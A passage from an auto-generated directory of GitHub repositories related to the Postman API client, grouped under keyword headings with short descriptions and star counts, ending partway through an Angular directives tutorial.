zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks
Jaxs01/Postman-JSONdb
install, installed, test, tests 		some simple End to End tests with installed Node.js and Postman 0 stars 0 watchers 0 forks
MeteorLyon/Postman-MeteorJs
application, chrome, collection, collections, data, install, installed, plugin, problem, server, sync 		The Postman chrome plugin is a cool application. The problem is when you sync your collections, you don't own your data, so it's no more cool. The aim of the project is to allow every one to get the same cool app, but that can be installed on it's own server, so you own your datas. 0 stars 0 watchers 0 forks
saimatsumoto/yarn-postman-newman
install, installed, mock, newman, running, test 		a mock-up repo to test out running postman API test with newman, installed via yarn instead of npm 0 stars 0 watchers 0 forks

logging (6 listings) (Back to Top)

Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
micc83/PostmanCanFail
case, enable, enabled, error, logging, mail, send 		Notice via mail() or Rollbar in case of WordPress Postman SMTP Mailer sending errors. Postman logging must be enabled. 1 stars 1 watchers 0 forks
anu0012/blogging-app-backend
application, backend, blog, blogging, logging 		REST APIs for a blogging application 0 stars 0 watchers 0 forks
Fragomeli/startnow-node101-vstda-api
logging, node 		making HTTP requests GET, POST, DELETE and logging them using Postman. 0 stars 0 watchers 0 forks
naitik0212/Behavioral_logging
captured, logging 		User Behavior Actions captured. Technologies: MongoDB, Express, Node, D3, HighCharts, JavaScript, Axios, HTML, CSS, BootStrap4, AJAX, Postman. 0 stars 0 watchers 0 forks
warrencook6/new-login-auth-method
auth, function, functional, logging, login, method, route, routes 		Messing around logging in and having protected routes. Not fully functional, have to use postman to run it. 0 stars 0 watchers 0 forks

exports (6 listings) (Back to Top)

buckle/restdocs-tool-export
docs, download, export, exports, import, imported, rest, snippet, snippets, tool 		Generates AsciiDoc snippets via Spring Restdocs that are exports for Insomnia or Postman that can be download and imported. 1 stars 1 watchers 0 forks
PhillippOhlandt/pmtoapib
collection, convert, document, documentation, export, exports, print 		Tool to convert Postman collection exports to Api Blueprint documentation 0 stars 0 watchers 1 forks
AJdelphix/Postman
export, exports 		Repo for Postman API exports 0 stars 0 watchers 0 forks
cfitz1995/postman-splitter
command, export, exports, import, util, utility 		Node.js command-line utility for importing/exports individual Postman requests 0 stars 0 watchers 0 forks
eloythub/postman-api.eloyt.com
eloyt, export, exports 		Postman exports for eloyt api 0 stars 0 watchers 0 forks
john-lock/postman-export-formatter
default, description, export, exports, file, form, format, formatter, path, script, upload, user, users 		A formatter for Postman Collection exports for file uploads. Allowing users to put the desired path in the description and have this path writtening into the file upload path - rather than having the default relative paths given by PM 0 stars 0 watchers 0 forks

fields (6 listings) (Back to Top)

daxdax89/Postman-WP-Plugin
fields, form 		Custom form fields WordPress 0 stars 0 watchers 0 forks
gustavrannestig/postman-encryptedCharfields
django, fields, fork, message, nest, storing, subject 		A fork of django-postman that encrypt the body and subject of a message before storing in db 0 stars 0 watchers 0 forks
nikitaphopse/django_customer_base_project
action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions 		We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku 0 stars 0 watchers 0 forks
prototypsthlm/postman-encryptedCharfields
django, fields, fork 		A fork of django-postman to encrypt a pair of fields 0 stars 0 watchers 0 forks
saveenchad/AjaxExplorer
common, config, configuration, configurations, fields, form, play, remote, send, tool, user 		The Super Endpoint Explorer (SEE) app will allow the end user to craft requests to a remote end-point by filling out various form fields, send the request and show the response, and save common request configurations for later playback. The form of the tool is roughly like the Chrome Extension called Postman or an OSX HTTP exploration like Paw but obviously less polished and feature laden. 0 stars 0 watchers 0 forks
sharrop/swag-post-gen
excel, fields, file, form, generator, inject, module, require, required, swagger, swagger2, test, tests, type 		A Swagger(OAS)v2-to-Postman generator - very much sitting on the shoulders of the excellent npm:swagger2-postman-generator module, but injecting Postman tests for required fields and type conformance - derived from the Swagger/OAS file. 0 stars 0 watchers 0 forks

visualization (6 listings) (Back to Top)

tony709394/postchildren-web
postwoman, test, tool, visual, visualization 		👨‍👦‍👦 A E2E test visualization tool (get along with postman and postwoman) 27 stars 27 watchers 0 forks
tony709394/postchildren-desktop
desktop, postwoman, test, tool, visual, visualization 		👨‍👦‍👦 A E2E test visualization tool (get along with postman and postwoman) 15 stars 15 watchers 0 forks
brooksandrew/postman_problems_examples
example, examples, problem, route, stat, visual, visualization 		Optimal route to ride every state avenue in DC: RPP optimization with OSM visualization 1 stars 1 watchers 1 forks
api-evangelist-visualizations/postman-tag-cloud
cloud, list, tool, visual, visualization 		This is a Postman visualizer tool. 1 stars 1 watchers 0 forks
chuckpaquette/SMGR-REST-SIP-Entities
data, entity, returned, struct, structure, visual, visualization 		Postman code for visualization of the data structure returned by SMGR SIP entity REST request 0 stars 0 watchers 0 forks
LennartCockx/postman-generic-json-visualize
beta, display, generic, json, play, script, util, utilizes, visual, visualization 		A script which utilizes the (beta) visualization option from postman to display any json response in a more visual manner 0 stars 0 watchers 0 forks

generates (6 listings) (Back to Top)

dtzar/openapi-auto-test
automat, automate, automated, collection, generate, generates, newman, openapi, reads, test, tests 		Automatically reads an OpenAPI 3.0 defintion and generates a Postman collection to be used with newman for automated API tests. 22 stars 22 watchers 1 forks
Avinash-Raj/docs-from-POSTMAN
collection, docs, generate, generates, script 		Python script which generates docs from POSTMAN collection url 0 stars 0 watchers 5 forks
aubm/postmanerator-markdown-theme
content, generate, generates, markdown, theme 		A theme for Postmanerator that generates markdown content 1 stars 1 watchers 1 forks
darkestpriest/postman-environment-generator
config, configuration, environment, environments, generate, generates, generator, library 		A library that generates environments for postman using a simple configuration 0 stars 0 watchers 1 forks
bryannbarbosa/tagger-laravel
generate, generates, laravel, library 		This library generates Postman Routes based on Laravel Routes 0 stars 0 watchers 0 forks
signavio/postman-environment-updater
environment, generate, generates, token, variable 		generates a jwt token and updates a given Postman environment variable 0 stars 0 watchers 0 forks

clients (6 listings) (Back to Top)

CoVital-Project/pulse-ox-data-collection-web-service
client, clients, collection, data, mobile, receiving, service 		HTTPS API for receiving pulse oximetry from mobile clients 2 stars 2 watchers 1 forks
red5pro/red5pro-api-client
admin, client, clients, clientside, function, functional, group, mini 		A set of Postman clientside API calls grouped by functionality for administering Red5 Pro 1 stars 1 watchers 0 forks
rishav394/Email-sender-no-IMAP
client, clients, college, command, command line, curl, e mail, email, lines, mail, send, sender, sends, site, tool, tools 		Handles POST request to the site and sends the mail accordingly. Useful to send mail using curl, POSTMAN or other command lines tools when email clients are blocked by your org or college. 1 stars 1 watchers 0 forks
Earthport/rest-api-postman
client, clients, collection, collections, integration, rest, test 		This repository contains Postman collections to help Earthport clients test their integration into Earthport's APIs 0 stars 0 watchers 0 forks
BlitZC4/SpringBootJacksonProjectBinding
background, browser, client, clients, embedded, file, files, print 		A SpringBoot Demo app using Jackson project in the background to print out the Json files that are embedded in the project on the clients screen when it sneds GET request through a browser or a REST client like postman. 0 stars 0 watchers 0 forks
isildur93/Simple-Auth-system
client, clients, display, express, login, method, play, signup, system, track 		Simple express app that allows you to login, signup, track session permanently and display values received via POST method. These values could be sent by ESP8266 or simply by Postman (or others REST api clients ) 0 stars 0 watchers 0 forks

communication (6 listings) (Back to Top)

rgamba/postman
async, communication, microservice, proxy, service, sync 		Reverse proxy for async microservice communication 29 stars 29 watchers 1 forks
VictorDeon/Pigeon
communication, component, components, exchange, framework, media, message, messages, python, service, services, type, types 		Pigeon is a framework developed in python that was made to intermediate the use of RabbitMQ services in a quick and easy way, these services of communication between components / services through different types of context of exchange of messages 1 stars 1 watchers 0 forks
cpvariyani/kafka-implementation-.net-core-c-
application, communication, console, consume, consumer, http, https, implementation, install, kafka, keeper, microservice, server, service, site, youtube 		youtube https://www.youtube.com/watch?v=ARqyWaZqn68&feature=youtu.be ..Practical Example for Use Apache Kafka In .NET Application, the demo for Kafka installation in .Net core and you can build Real-time Streaming Applications Using .NET Core c# and Kafka. Steps 1. Download Prerequisite for Kafka and zookeeper 2. Install Kafka and zookeeper 3. Create a topic in Kafka console 4. Start the Kafka producer server 5. Start the Kafka consumer server 6. Create .Net core microservice as a producer 7. Create .Net core application as a consumer 8. Test Kafka implementation using postman to see the communication between communication. 0 stars 0 watchers 0 forks
johnnadratowski/postman-repl
communicate, communication, config, configuration, data, interface, stat, user 		Postman repl uses IPython to present the user with an interface to communicate with APIs. It loads postman configuration data into global state, allowing for quick and easy communication with an API. 0 stars 0 watchers 0 forks
laudvg/Until-Sunrise
communication, data, database, implementation, model, models 		Backend project in Node, using Express, Mongoose for models and communication with the MongoDB database. Tools such as Passport, Postman, MongoDB Compass, Axios were used. API implementation. 0 stars 0 watchers 0 forks
yann-yvan/CodeHttp
android, communication, debug, define, light, server, struct, structure, tool, tools 		A light way to make communication between android and server using a predefine structure server response with a debug tools like postman 0 stars 0 watchers 0 forks

syntax (6 listings) (Back to Top)

pinguo-fengxingchao/docman-convert
apidoc, convert, syntax 		Postman Collection v2.0 to apidoc.js syntax comment 1 stars 1 watchers 1 forks
xk0der/vscode-postman-collection-syntax
collection, light, syntax, vscode 		Postman Collection Syntax Highlighter 1 stars 1 watchers 0 forks
DigitalAPI/Postman-Bundle
creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax 		Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. 0 stars 0 watchers 1 forks
danielxcom/todolist_using_api_and_ajax
actor, ajax, file, helper, list, operation, operations, service, services, syntax, test, tested, todo 		Test-run of ajax syntax, todolist using RESTful web services tested with POSTMAN. Refactored REST operations in Promises + put them in helper file to make modular todos.js. Schema created using MongoDB 0 stars 0 watchers 0 forks
Solijons/Postman-Tests
java, javascript, sample, script, syntax, test, tests, writing 		Here is sample of writing tests in post using javascript syntax 0 stars 0 watchers 0 forks
xk0der/vscode-postman-log-syntax
highlighter, light, syntax, vscode 		Postman log highlighter 0 stars 0 watchers 0 forks

copy (6 listings) (Back to Top)

thecopy/apiary2postman
apiary2postman, collection, copy, generating, print, rating 		Tool for generating a Postman collection from Blueprint API markup or the Apiary API 0 stars 0 watchers 25 forks
rpgplanet/django-postman
copy, django, fork, personal, planet 		personal copy/fork of django-postman 1 stars 1 watchers 1 forks
abdulrajik99/Postman-copy
copy 		0 stars 0 watchers 0 forks
AnnaGuk/Postman
copy 		copy of the Postman app 0 stars 0 watchers 0 forks
longchao747/copycatPostman
copy 		山寨postman 0 stars 0 watchers 0 forks
WendellOdom/Basic-Python-Data-Types-01
copy, data, program, python, sequence, type, types 		A sequence about Python Data types that leads to a circle of python data, JSON, Postman REST calls, and copying code into a Python program. 0 stars 0 watchers 0 forks

setting (6 listings) (Back to Top)

bbmorten/tetration-postman
access, sample, script, scripts, setting, settings 		Environment settings, pre-request script, and sample Postman scripts for accessing the Tetration API 0 stars 0 watchers 1 forks
bwainaina380/rest-api-setup
client, rest, route, routes, server, setting, setup, test, testing 		This is practice for setting up a REST API with routes and a server and testing that everything is working using Postman client 0 stars 0 watchers 0 forks
antonioortegajr/Postman-Collection-for-Desk.com-API
setting, settings 		Just API settings for postman and the d sk.com API 0 stars 0 watchers 0 forks
jwhorley/postman-iterate-data-collections
collection, collections, data, guide, setting, variable, variables 		A "how to" guide for setting up Postman Collection Runner w/ variables 0 stars 0 watchers 0 forks
noblethrasher/Postman
lang, language, light, lightweight, setting, type, types 		A compiler for a lightweight typesetting language 0 stars 0 watchers 0 forks
vmchiran/postman-oic-service-account
account, accounts, collection, service, setting 		Postman collection for setting up service accounts without password expiration for OIC. 0 stars 0 watchers 0 forks

utilities (6 listings) (Back to Top)

ivangfr/springboot-testing-mysql
api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities 		The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman 1 stars 1 watchers 0 forks
tarunlalwani/postman-utils
function, functions, util, utilities, utils 		Postman utilities functions 0 stars 0 watchers 2 forks
figome/apitest-utils
apitest, test, util, utilities, utils 		Our postman utilities 0 stars 0 watchers 0 forks
qbicsoftware/postman-core-lib
data, dataset, download, file, files, sets, software, util, utilities 		Core libraries providing utilities for the download of OpenBIS files and datasets 0 stars 0 watchers 0 forks
rathahin/postman-loader-javascript
config, configuration, java, javascript, script, util, utilities 		A utilities to load postman as request configuration 0 stars 0 watchers 0 forks
redwebs/Postman
class, data, util, utilities 		Postman data classes and utilities 0 stars 0 watchers 0 forks

memory (6 listings) (Back to Top)

SherlockHomer/devMemory
memory 		some dev memory 4 stars 4 watchers 0 forks
HamidurRahman1/Project--SpringBootRESTfulWebservicesForAirlineReservationSystem
application, in memory, memory, service, services 		A complete in memory Spring Boot RESTful Webservices application 1 stars 1 watchers 0 forks
Pal0720/Dec-api
application, data, database, details, endpoint, example, following, form, framework, function, functions, implementation, implementations, list, memory, multiple, names, product, products, retrieve, script, security, send, service, single, spec, store, stores, updated 		Build a RESTful API/MICROSERVICE with the following implementations : The API/Microservice must perform these basic CRUD Operations : - Accepts a request to add a new entry into the database. - Accepts a request to update an existing entry into the database. - Accepts a request to retrieve all the existing entries from the database. - Accepts a request to retrieve a single entry with respect to a particular field (ID, Name, etc.. ) from the database. a. Products : Products Table Schema : Decathlon_Products ProductID | ProductName | ProductSport | ProductLevel | ProductDescription | AssociatedStores | b. Stores : DB Table Schema : Decathlon_Stores StoreID | StoreName | StoreCity | Note : 1. 'AssociatedStores' is the field to capture the StoreIDs in which the product is available. It can be multiple stores. 2. Both Products and Stores API can be called separately and together to perform the above mentioned functions. For Ex: Expose one endpoint (for example: /stores/{store_id}/products/{product_id} ) to retrieve the details of the product associated to a store. Expose one endpoint ( /stores/store_id/products ) to list all the products available in that particular store. 3. IDs and names cannot be updated. 4. You can use Spring Boot(Java) or Django Framework (with Python) or any framework you are comfortable with to build the application with Maven. 5. You can use an in-memory database : H2/Apache Derby. 6. You can use Postman as the REST Client to send requests. Security : Implement a Basic Authorization security mechanism, which is validated on all requests. 0 stars 0 watchers 1 forks
InLove4Coding/GameStoreSpring
host, http, in memory, jdbc, local, memory, popular, test 		Game Store - simple project on popular stack :Spring, h2, lombok, Jpa. Данный проект использует in memory db, так что его можете запустить без дампа бд. Запросы пока через postman, примеры в комментариях кода. По http://localhost:8080/h2/ можете поработать с бд через интерфейс. Для захода jdbcUrl -> jdbc:h2:mem:testdb . Далее о.к (юзер по умолчанию sa, без пароля) 0 stars 0 watchers 0 forks
JacquelineRP/SpringBootEssentials_Demo_Studients
backed, data, database, in memory, memory 		Spring Boot, Restful API backed up with an in memory database, Json, Dependency Injection Programming, HTTP Semantics, Get, Post, Delete & Put (Postman) 0 stars 0 watchers 0 forks
matt-ball/users-api
memory, play, playing, user, users 		Mock in-memory API for playing around with Postman. 0 stars 0 watchers 0 forks

demonstrating (6 listings) (Back to Top)

harsh159357/flutter_client_php_backend
backend, client, demonstrating, flutter, rating 		Sample app demonstrating usage of Flutter Framework to Create Android & IOS App Using Rest API Created In PHP 0 stars 0 watchers 62 forks
SabreDevStudio/postman-collections
collection, collections, demonstrating, file, files, rating 		Postman files demonstrating how to call and use APIs found in the Sabre Dev Studio portfolio. 19 stars 19 watchers 17 forks
MicrosoftCSA/documentdb-postman-collection
access, collection, demonstrating, document, documentdb, rating 		Postman collection demonstrating REST access for DocumentDB 0 stars 0 watchers 36 forks
swiftinc/gpi-connector-backoffice-simulator
collection, demonstrating, integrating, office, postman collection, principles, rating, schema, swift, validation 		This is a postman collection for integrating with Tracker APIs and Pre-Validation API demonstrating the principles of TLS, LAU and JSON schema validation. 0 stars 0 watchers 2 forks
AlwarKrish/Node_TODO-Api
application, demonstrating, integrate, integrates, integration, list, lists, mongo, mongod, mongodb, rating, test, tested, todo, user, users 		A simple application that integrates todo lists with users demonstrating mongodb integration with Node.js. The application was tested using postman. 0 stars 0 watchers 0 forks
Apollo013/NoSql_DocumentDB_Admin
demonstrating, rating, test 		A WebApi (OWIN) demonstrating how to manage DocumentDB Databases, Collections, Documents & Users/Permissions. Requires Fiddler or POSTMAN to test. 0 stars 0 watchers 0 forks

integrating (6 listings) (Back to Top)

littlepostman/sdk-client-cordova
client, cordova, integrating, rating 		Cordova Plugin for integrating Little Postman Push Notifications 1 stars 1 watchers 1 forks
mgaby25/django-postman-sample
account, accounts, boot, django, integrating, pinax, rating, sample, theme, user 		Just a sample project of integrating postman with django-user-accounts using pinax-theme-bootstrap 0 stars 0 watchers 3 forks
swiftinc/gpi-connector-backoffice-simulator
collection, demonstrating, integrating, office, postman collection, principles, rating, schema, swift, validation 		This is a postman collection for integrating with Tracker APIs and Pre-Validation API demonstrating the principles of TLS, LAU and JSON schema validation. 0 stars 0 watchers 2 forks
FourKites/Tracking-Locations-API
integrating, lang, language, program, programming, rating 		Tracking Locations API integrating with different programming languages. 0 stars 0 watchers 1 forks
ViniciusX22/testing-sample
integrating, rating, sample, test, testing 		Web Testing integrating Postman, Cypress, Jest and Github Actions 0 stars 0 watchers 0 forks
mchartrand-brt/PostmanIntegration
integrating, rating, sample, test 		A sample repo to test integrating a Postman API test into CI/CD 0 stars 0 watchers 0 forks

relationship (6 listings) (Back to Top)

todor70/students
data, database, relationship, student, todo 		Spring Boot REST API with H2 database, many to many relationship, Postman and HAL Browser 1 stars 1 watchers 0 forks
kchamp45/CancerAPI
relationship 		Java Code Review Inheritance, Exceptions, Filters, DAO, Postman, M-to-M relationships 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
martynow173/practice-3
actor, backend, comments, function, functional, github, handling, http, https, laravel, product, products, rating, relationship, sort, system, user 		Just backend requests handling, use postman. Additional functionality and code refactoring: user ratings, comments, sorting based on them, many-to-many relationship between categories and products. Role system - https://github.com/spatie/laravel-permission 0 stars 0 watchers 0 forks
nikitaphopse/django_customer_base_project
action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions 		We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku 0 stars 0 watchers 0 forks
roba-pivot/organisational-api
action, data, involves, java, organisational, relationship 		Organisational api involves java , H2 and postman app done to accomplish data relationship and their interaction using postman . 0 stars 0 watchers 0 forks

render (6 listings) (Back to Top)

Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
luisgepeto/PostmanCourse
material, render, usar 		Un repositorio con ejemplos y material para aprender a usar Postman 1 stars 1 watchers 1 forks
nikandlv/postman-patcher
java, javascript, patch, render, script 		Allows postman to render javascript in preview 0 stars 0 watchers 1 forks
Opelar/postman-render
description, render, script 		No description available. 0 stars 0 watchers 0 forks
fabianobr/healthchecker
check, projet, projeto, render, stat, status 		O objetivo deste projeto é simples, avaliar o status de vários serviços (ou microserviços). Muito útil quando há muitos serviços a serem avaliados, evitando de conectar um a um via Postman, Insomnia ou outras ferramentas. O segundo objetivo é aprender Go (ou Goland). 0 stars 0 watchers 0 forks
sbolingo/angular-postman-doc
angular, collection, document, documentation, form, format, html, module, render 		Angular module to handle a Postman collection and render html documentation. Only handles v1 collection format. 0 stars 0 watchers 0 forks

replace (6 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives 